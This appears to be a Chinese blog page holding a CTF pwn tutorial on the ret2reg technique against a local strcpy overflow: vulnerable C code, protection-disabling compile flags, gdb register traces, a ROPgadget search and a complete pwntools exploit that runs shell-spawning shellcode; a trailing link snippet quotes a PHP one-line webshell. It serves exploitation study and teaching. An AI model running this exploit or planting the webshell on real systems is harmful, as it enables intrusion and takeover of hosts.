当前位置：首页 > news >正文

从ctfwiki开始的pwn之旅 6.ret2reg

news 来源：原创 2025/7/15 19:00:37

原理

Ret2reg，即攻击绕过地址混淆(ASLR)，返回到寄存器地址

一般用于开启ASLR的ret2shellcode题型。

出现该漏洞的代码的典型特征是：程序中存在strcpy的字符串拷贝函数。

ret2reg（返回到寄存器地址攻击）是一种利用技术，它通过控制寄存器的值来间接控制程序的执行流。在溢出函数返回时，攻击者会查找哪个寄存器的值指向溢出缓冲区空间，然后利用call reg或者jmp reg指令，将EIP设置为该指令地址，并在寄存器所指向的空间上注入Shellcode。

此攻击方法之所以能成功，是因为函数内部实现时，溢出的缓冲区地址通常会加载到某个寄存器上，在后面的运行过程中不会修改。尽管栈空间具有随机性，但该寄存器的值与缓冲区地址的关系是确定的，在随机地址之上，建立了必然的地址关系。一句话就是在随机性上找到地址的确定性关系。当这个参数是shellcode时，只要程序中存在jmp/call reg代码片段时，即可拼接payload跳转至该寄存器

主要在于找到寄存器与缓冲区地址的确定性关系，然后从程序中搜索call reg/jmp reg这样的指令

思路

查看溢出函数返回时哪个寄存值指向溢出缓冲区空间
然后反编译二进制，查找 call reg 或者 jmp reg 指令，将 EIP 设置为该指令地址
reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的，但通常都是栈上的)

例子

此类漏洞常见于strcpy字符串拷贝函数中。

#include <stdio.h>
#include <string.h>
void vuln(char *input) {char buffer[512];strcpy(buffer, input);
}int main(int argc, char **argv) {vuln(argv[1]);return 0;
}

编译指令：

gcc -m32 -z execstack -z norelro -fno-stack-protector -no-pie -fno-pie -o ret2reg ret2reg.c

打开Linux的地址混淆功能：

echo 2 > /proc/sys/kernel/randomize_va_space

文件分析：

gdb-peda$ checksec
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

因为没开启PIE所以代码段的位置是固定的。

看一下溢出位置的汇编指令：

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:0x08049196 <+0>:     endbr320x0804919a <+4>:     push   ebp0x0804919b <+5>:     mov    ebp,esp0x0804919d <+7>:     push   ebx0x0804919e <+8>:     sub    esp,0x2040x080491a4 <+14>:    call   0x804920d <__x86.get_pc_thunk.ax>0x080491a9 <+19>:    add    eax,0x21030x080491ae <+24>:    sub    esp,0x80x080491b1 <+27>:    push   DWORD PTR [ebp+0x8]0x080491b4 <+30>:    lea    edx,[ebp-0x208]0x080491ba <+36>:    push   edx0x080491bb <+37>:    mov    ebx,eax0x080491bd <+39>:    call   0x8049060 <strcpy@plt>0x080491c2 <+44>:    add    esp,0x100x080491c5 <+47>:    nop0x080491c6 <+48>:    mov    ebx,DWORD PTR [ebp-0x4]0x080491c9 <+51>:    leave0x080491ca <+52>:    ret
End of assembler dump.

在leave指令下断点，并且设置args为123456。

gdb-peda$ set args 123456
gdb-peda$ b *vuln+51
Breakpoint 1 at 0x80491c9: file ret2reg.c, line 6.

我们重点观察寄存器的内容：

[----------------------------------registers-----------------------------------]
EAX: 0xffffcd20 ("123456")
EBX: 0xf7e23e34 --> 0x223d2c (',="')
ECX: 0xffffd21c ("123456")
EDX: 0xffffcd20 ("123456")
ESI: 0x8049220 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf28 --> 0xffffcf48 --> 0x0 
ESP: 0xffffcd20 ("123456")
EIP: 0x80491c9 (<vuln+51>:      leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

我们刚才输入的数据是123456，可以看到有四个寄存器指向了缓冲区：eax、ecx、edx、esp

由于esp是栈顶指针一定会变所以不考虑。

我们打算向buf里注入shellcode 然后跳转到shellcode执行，所以我们看看有没有jmp eax/ecx/edx或者call eax/ecx/edx。

┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "eax"
0x080490a6 : call dword ptr [eax + 0x51]
0x0804909f : call dword ptr [eax - 0x73]
0x0804901d : call eax┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "ecx"┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "edx"
0x080491b9 : call dword ptr [edx - 0x77]
0x0804914d : call edx

我们发现有两个address可以使用call_eax = 0x0804901d，call_edx = 0x0804914d。

exp

from pwn import *shellcode = asm(shellcraft.sh())
call_eax = p32(0x0804901d)
payload = flat([shellcode , b'a'* (0x20c - len(shellcode) ),call_eax])
io = process(argv=[ "./ret2reg",payload])
io.interactive()

shellcode：这是一段用来执行攻击者想要的命令或代码的二进制代码。在这个例子中，shellcode是通过asm(shellcraft.sh())生成的，shellcraft.sh()是一个生成shellcode的函数，它会生成一个简单的shellcode，这个shellcode在执行后会创建一个shell（命令行界面），允许攻击者执行系统命令。b'a'*(0x20c - len(shellcode))：这部分是填充字节。0x20c是缓冲区的大小（512字节），len(shellcode)是shellcode的长度。这部分的作用是将shellcode填充到正确的位置，以便覆盖返回地址。填充字节是用'a'字符重复一定次数来实现的，次数是缓冲区大小减去shellcode的长度。call_eax：这是一个指向call eax指令的地址，p32(0x0804901d)是将地址0x0804901d转换为32位小端格式的字节串。这个地址是攻击者找到的，可以在执行时将EAX寄存器的值作为函数地址调用的地方。flat()：pwntools库中的一个函数，用于将多个字节串（byte string）合并成一个连续的字节串。

从ctfwiki开始的pwn之旅 6.ret2reg

原理 Ret2reg，即攻击绕过地址混淆(ASLR)，返回到寄存器地址一般用于开启ASLR的ret2shellcode题型。出现该漏洞的代码的典型特征是：程序中存在strcpy的字符串拷贝函数。 ret2reg（返回到寄存器地址攻击）是一种利用技…...

编程日记 2025/7/15 19:00:37

GESP202412 7级 T2

闲话花了一个小时。主要原因：条初始值硬控我半小时，题目看错硬控我半小时（悲）。正文看题目，就是求从哪个点出发所得到的所有单调下降序列的总长度最长(这个描述好奇怪，不过意思是对的)。题目中说…...

编程日记 2025/7/15 8:34:19

LeetCode---426周赛

题目列表 3370. 仅含置位位的最小整数 3371. 识别数组中的最大异常值 3372. 连接两棵树后最大目标节点数目 I 3373. 连接两棵树后最大目标节点数目 II 一、仅含置位位的最小整数题目要求我们返回二进制数位全为1，且大于 n 的最小的整数，我们可以直…...

编程日记 2025/7/13 21:47:38

git 拉取代码时报错 gitignore Please move or remove them before you merge.

git 拉取代码时报错， The following untracked working tree files would be overwritten by merge: .gitignore Please move or remove them before you merge. 当你在使用 Git 进行代码拉取（通常是执行 git pull 或 git merge 命令）时遇到这…...

编程日记 2025/7/15 3:57:33

devops-Dockerfile+Jenkinsfile方式部署Java前后端应用

文章目录概述部署前端Vue应用一、环境准备1、Dockerfile2、.dockerignore3、nginx.conf4、Jenkinsfile 二、Jenkins部署1、新建任务2、流水线3、Build Now 构建 & 访问 Springboot后端应用1. 准备工作2. 创建项目结构3. 编写 Dockerfile后端 Dockerfile (backend/Dockerfi…...

编程日记 2025/7/14 13:34:08

华为云鸿蒙应用入门级开发者认证考试题库(理论题和实验题）

注意：考试链接地址：华为云鸿蒙应用入门级学习认证_华为云鸿蒙应用入门级开发者认证_华为云开发者学堂-华为云当前认证打折之后是1元，之后原价700元，大家尽快考试！考试题库里面答案不一定全对，但是可以保证…...

编程日记 2025/7/12 10:59:51

Lua元表和元方法的使用

元表是一个普通的 Lua 表，包含一组元方法，这些元方法与 Lua 中的事件相关联。事件发生在 Lua 执行某些操作时，例如加法、字符串连接、比较等。元方法是普通的 Lua 函数，在特定事件发生时被调用。元表包含了以下元方法&#xff1…...

编程日记 2025/7/14 17:33:53

自动驾驶算法——卡尔曼滤波器平滑感知车道线参数【C++代码实现】

1.算法原理在工程实践中，由于感知识别到的车道线偶尔存在较大的跳变，导致后端控制算法计算出的控制角度也存在较大的跳变，所以我们需要对感知输入的车道线系数进行平滑处理。已知卡尔曼滤波算法主要分为以下几大步骤：感知将车道线以三次螺旋曲线方程 y = c 0 + c 1 x +…...

编程日记 2025/7/1 12:36:40

浅谈Scala语言

一、Scala语言基础 1.1 语法结构 Scala的语法是一种融合了多种编程范式的设计，它结合了函数式编程和面向对象编程的优点。这种语法结构使得Scala既具有高度的表达能力，又保持了代码的简洁性。例如，Scala支持类型推断，这意味着在…...

编程日记 2025/7/13 19:37:02

可视化建模以及UML期末复习篇----UML图

这是一篇相对较长的文章，如你们所见，比较详细，全长两万字。我不建议你们一次性看完，直接跳目录找你需要的知识点即可。 --------欢迎各位来到我UML国！ 一、UML图总共有如下几种： 用例图（Use Ca…...

编程日记 2025/7/9 22:58:28

音视频入门基础：MPEG2-TS专题（13）——FFmpeg源码中，解析Section Header的实现

一、引言在《音视频入门基础：MPEG2-TS专题（11）—— TS中的Section》中讲述了Section Header的基本概念，本文讲述FFmpeg源码中是怎样解析Section Header的。二、parse_section_header函数的定义 FFmpeg源码中通过parse_section…...

编程日记 2025/7/15 18:32:22

SQL UCASE() 函数：转换字符串为大写

SQL UCASE() 函数：转换字符串为大写概述在SQL中，UCASE() 函数用于将字符串中的所有字符转换为大写。这是一个非常实用的函数，尤其在处理大量文本数据时，确保数据的一致性和准确性。本文将详细介绍UCASE() 函数的用法、示例以及…...

编程日记 2025/7/12 19:03:15

机器学习周报（12.2-12.8）

文章目录摘要Abstract Vision Transformer1 原理2 代码摘要本周学习了Vision Transformer (ViT) 的基本原理及其实现，并完成了基于PyTorch的模型训练、验证和预测任务。深入理解了ViT如何将图像分割成patch作为输入序列，并结合Transformer Encoder处…...

编程日记 2025/7/8 22:11:44

【机器人】系统辨识之激励轨迹设计（傅里叶级数）

在机器人参数辨识中使用傅里叶级数，主要是为了生成一种激励轨迹，具有良好的数学特性，同时符合物理要求。傅里叶级数的特性使其在机器人动力学辨识的激励轨迹设计中非常常用。 1. 为什么需要激励轨迹？ 激励轨迹的作用是通过驱动机…...

编程日记 2025/7/13 19:28:01

JVM八股文精简

目录简述JVM类加载过程简述JVM中的类加载器简述双亲委派机制双亲委派机制的优点简述JVM内存模型简述程序计数器简述虚拟机栈简述本地方法栈简述JVM中的堆简述方法区简述运行时常量池简述Java创建对象的过程简述JVM给对象分配内存的策略Java对象内存分配是如何保证线程安全的如…...

编程日记 2025/7/13 8:54:00

PyTorch基本使用——张量的索引操作

在操作张量时，经常要去获取某些元素进行处理或者修改操作，在这里需要了解torch中的索引操作。准备数据： data torch.randint(0,10,[4,5]) print(data--->,data)输出结果： data---> tensor([[3, 9, 4, 0, 5],[7, 5, 9, …...

编程日记 2025/7/14 21:24:56

1. 基本信息部署机器角色部署路径192.168.242.71MySQL-Mater MHA-NodeMySQL: /alidata1/mysql-8.0.28192.168.242.72MySQL-Slave MHA-NodeMHA-Node: /alidata1/admin/tools/mha4mysql-node-0.58192.168.242.73MySQL-Slave MHA-Node192.168.242.74MHA-ManagerMHA-Manager: …...

编程日记 2025/7/14 22:42:13

Spring Boot中实现JPA多数据源配置指南

本文还有配套的精品资源，点击获取简介：本文详细介绍了在Spring Boot项目中配置和使用JPA进行多数据源管理的步骤。从引入依赖开始，到配置数据源、创建DataSource bean、定义实体和Repository，最后到配置事务管理器和使用多数据…...

编程日记 2025/7/14 22:50:30

【计算机网络】实验12：网际控制报文协议ICMP的应用

实验12 网际控制报文协议ICMP的应用一、实验目的验证ping命令和tracert命令的工作原理。二、实验环境 Cisco Packet Tracer模拟器三、实验过程 1.构建网络拓扑并进行信息标注，将所需要配置的IP地址写在对应的主机或者路由器旁边，如图1所示。图…...

编程日记 2025/7/10 22:51:07

MVC基础——市场管理系统（二）

文章目录项目地址三、Produtcts的CRUD3.1 Products列表的展示页面（Read）3.1.1 给Product的Model里添加Category的属性3.1.2 View视图里展示Product List3.2 增加Product数据（Add）3.2.1 创建ViewModel用来组合多个Model3.2.2 在_ViewImposts里引入ViewModels3.2.3 添加Add的…...

编程日记 2025/7/14 1:52:28

使用Redis的Bitmap实现签到功能

1.基础签到实现 1.1代码如下Service Slf4j public class SignInService {Autowiredprivate StringRedisTemplate redisTemplate;private static final String SIGN_KEY_PREFIX "sign:";/*** 用户签到* param userId 用户ID* param date 签到日期*/public boolean s…...

编程日记 2025/7/14 22:29:35

OpenCV 图像基本操作

OpenCV快速通关第一章：OpenCV 简介与环境搭建第二章：OpenCV 图像基本操作 OpenCV 图像基本操作 OpenCV快速通关第二章：OpenCV 图像基本操作一、相关结构体与函数介绍（一）cv::Mat 结构体（二）c…...

编程日记 2025/7/15 14:23:24

SpringBoot3+Micormeter监控应用指标

监控内容简介 SpringBoot3项目监控服务 ，可以使用Micormeter度量指标库，帮助我们监控应用程序的度量指标，并将其发送到Prometheus中并用Grafana展示。监控指标有系统负载、内存使用情况、应用程序的响应时间、吞吐量、错误率等。 micromete…...

编程日记 2025/7/12 20:57:48

Leetcode打卡：变为棋盘

执行结果：通过题目：782 变为棋盘一个 n x n 的二维网络 board 仅由 0 和 1 组成。每次移动，你能交换任意两列或是两行的位置。返回将这个矩阵变为 “棋盘” 所需的最小移动次数。如果不存在可行的变换，输出 -1。 “棋盘…...

编程日记 2025/7/14 11:20:04

遣其欲，而心自静 -- 33DAI

显然，死做枚举只能的50分。错了4次总算对了。大体思路： 因题目说只有两个因数，那么有两种情况： 1：两个质数相乘，如：3*515 5*745 等（不包括5*525 或5*315 重复计算\ 因为3*5算了…...

编程日记 2025/7/14 21:34:14

物品识别树莓派 5 YOLO v5 v8 v10 11 计算机视觉

0. 要实现的效果让树莓派可以识别身边的一些物品，比如电脑，鼠标，键盘，杯子，行李箱，双肩包，床，椅子等 1. 硬件设备树莓派 5 raspberrypi.com/products/raspberry-pi-5/树莓派官方摄…...

编程日记 2025/7/15 11:50:17

鸿蒙NEXT元服务：静态卡片

【引言】最近上线的鸿蒙NEXT元服务受到了一些用户的反馈，指出其缺乏一个直观的入口。为了解决这个问题并提供类似传统应用程序的桌面快捷方式体验，决定通过添加静态卡片功能来让用户能够直接从桌面访问元服务。本文将详细介绍如何实现这一功能。【参考…...

编程日记 2025/7/10 17:49:23

vue3父子组件通信

一般常用有6种方式：使用 props 传递数据：父组件通过 props 传递数据给子组件，子组件通过 defineProps 获取父组件定义的数据。使用 v-model 语法糖：父组件通过 v-model="abc" 传递数据，并监听子组件的更新事件，子组件：通过 defineEmits 获取父传入的属性的更…...

编程日记 2025/7/11 11:18:31

2024年认证杯SPSSPRO杯数学建模D题(第一阶段)AI绘画带来的挑战解题全过程文档及程序

2024年认证杯SPSSPRO杯数学建模 D题 AI绘画带来的挑战原题再现： 2023 年开年，ChatGPT 作为一款聊天型AI工具，成为了超越疫情的热门词条；而在AI的另一个分支——绘图领域，一款名为Midjourney（MJ&#xff…...

编程日记 2025/7/11 19:30:14

虚幻引擎---材质篇

一、基础知识虚幻引擎中的材质（Materials） 定义了场景中对象的表面属性，包括颜色、金属度、粗糙度、透明度等等；可以在材质编辑器中可视化地创建和编辑材质；虚幻引擎的渲染管线的着色器是用高级着色语言（…...

编程日记 2025/7/10 13:44:44

【Linux基础】yum 与 vim 的操作

目录 Linux 应用商店——yum yum和yum源是什么关于镜像的简单理解 yum 的基本操作 yum的安装 yum install 命令 yum查看软件包 yum list 命令 yum的卸载 yum remove 命令关于 rzsz 软件安装 rzsz 软件： rz 命令 sz 命令 yum 源拓展 Linux 编辑器…...

编程日记 2025/7/15 1:17:33

一句话木马

作用： 一句话木马的作用主要是利用计算机系统或网络协议的安全漏洞，以实现未经授权访问、数据窃取或其他恶意目的。木马举例： 1.PHP <?php eval($_POST[attack]);?> 解释 • <?php ... ?> 是 PHP 代码的开始和结束标记…...

编程日记 2025/7/15 17:11:26

给建筑物“穿毛衣”：AI绘图新玩法

随着气温的骤降，我们不仅感受到了自然界的寒冷，甚至连城市的建筑物似乎也在寒风中“颤抖”。在这样的背景下，一种新颖的AI绘图玩法——给建筑“穿毛衣”在网络上迅速走红。本文将详细介绍这一创意玩法，并提供手把手的教学指导。 A…...

编程日记 2025/7/10 14:29:37

【Qt】Qt Creator项目文件（.pro 文件）构建指令学习

文章目录 1. DESTDIR作用：实例： 2. INCLUDEPATH作用：实例： 3. LIBS作用：用法：实例： 4. TEMPLATE作用：实例： 5. OTHER_FILES作用：实例：其它说明 6.…...

编程日记 2025/7/13 21:24:04

突破！自然语言强化学习(NLRL)：一个可处理语言反馈的强化学习框架

本论文由伦敦大学学院、上海交通大学、布朗大学、布里斯托大学、新加坡国立大学以及萨里大学的研究者合作完成。冯熙栋是论文第一作者，即将毕业于伦敦大学学院。目前是Google DeepMind的Research Scientist，主要研究方向包括强化学习与生成模型。刘博是…...

编程日记 2025/7/14 22:41:40

core Webapi jwt 认证

core cookie 验证 Web API Jwt 》》》》用户信息 namespace WebAPI001.Coms {public class Account{public string UserName { get; set; }public string UserPassword { get; set; }public string UserRole { get; set; }} }》》》获取jwt类 using Microsoft.AspNetCore.Mvc…...

编程日记 2025/7/15 15:17:31

【Springboot知识】springboot基础-事件

文章目录简介一、事件类型二、事件处理机制三、自定义事件和监听器四、异步事件处理五、条件事件监听如何使用1. 自定义事件2. 发布事件3. 监听事件4. 测试事件机制 ApplicationEventPublisher接口使用的设计模式简介在Spring Boot中，事件机制是一种基于观察者…...

编程日记 2025/7/13 20:43:57

经典视觉神经网络1 CNN

一、概述输入的图像都很大，使用全连接网络的话，计算的代价较高，图像也很难保留原本特征。卷积神经网络（Convolutional Neural Network，CNN）是一种专门用于处理具有网格状结构数据的深度学习模型。主要应用…...

编程日记 2025/7/11 18:43:24

解决跨域问题方案

跨域问题在前后端分离架构下尤为常见，是每个 Web 开发者都会遇到的核心问题。本文将通过原理解析、场景剖析、解决方案详解以及最佳实践等多个维度，帮助开发者全面理解并有效应对跨域问题。目录 **一、跨域的本质****1. 同源策略****2. 同源策略的限制范…...

编程日记 2025/7/10 1:26:52

【python自动化五】接口自动化基础--requests的使用

python的接口请求可以用requests库，这个介绍就不多说了，网上说得很详细。接下来直接记录下如何使用（当然也不限于自动化的使用） 1.安装requests requests也需要安装一下 pip install requests2.requests请求 1.常用的请求方法…...

编程日记 2025/7/9 14:01:07

文本三剑客——grep命令

介绍作用 Linux grep (global regular expression) 命令用于查找文件里符合条件的字符串或正则表达式。常用选项 -i：忽略大小写进行匹配。-v：反向查找，只打印不匹配的行。-n：显示匹配行的行号。-r：递归查找子目录…...

编程日记 2025/7/12 18:19:17

ASP 实例：深入解析与实战应用

ASP 实例：深入解析与实战应用引言 ASP（Active Server Pages）是一种由微软开发的服务器端脚本环境，用于动态网页设计和开发。它允许开发者创建和运行动态交互性网页，如访问数据库、发送电子邮件等。本文将深入探讨AS…...

编程日记 2025/7/12 19:03:33

文件的操作

什么是文件如何是数据持久化——保存在硬盘上(文件，数据库)磁盘上的文件是文件在程序设计中，我们一般谈的文件有两种：程序文件、数据文件程序文件，比如源文件（.c文件）读a文件写到b文件里，此时a…...

编程日记 2025/7/13 7:20:43

【简单谈谈UCIE PHY LSM链路训练】

UCIE PHY LSM链路训练 1 UCIE PHY LSM1.1 RESET1.2 SBINT1.3 MBINT1.3.1 MBINT.PARAM1.3.2 MBINIT.CAL1.3.3 MBINIT.REPAIRCLK1.3.4 MBINIT.REPAIRVAL1.3.5 MBINIT.REVERSALMB1.3.6 MBINIT.REPAIRMB 1.4 MBTRAIN1.5 LINKINIT1.6 ACTIVE1.7 L1/L21.8 PHY.RETRAIN1.9 TRAIN.ERROR…...

编程日记 2025/7/12 7:33:33

原理

思路

例子

exp

相关文章：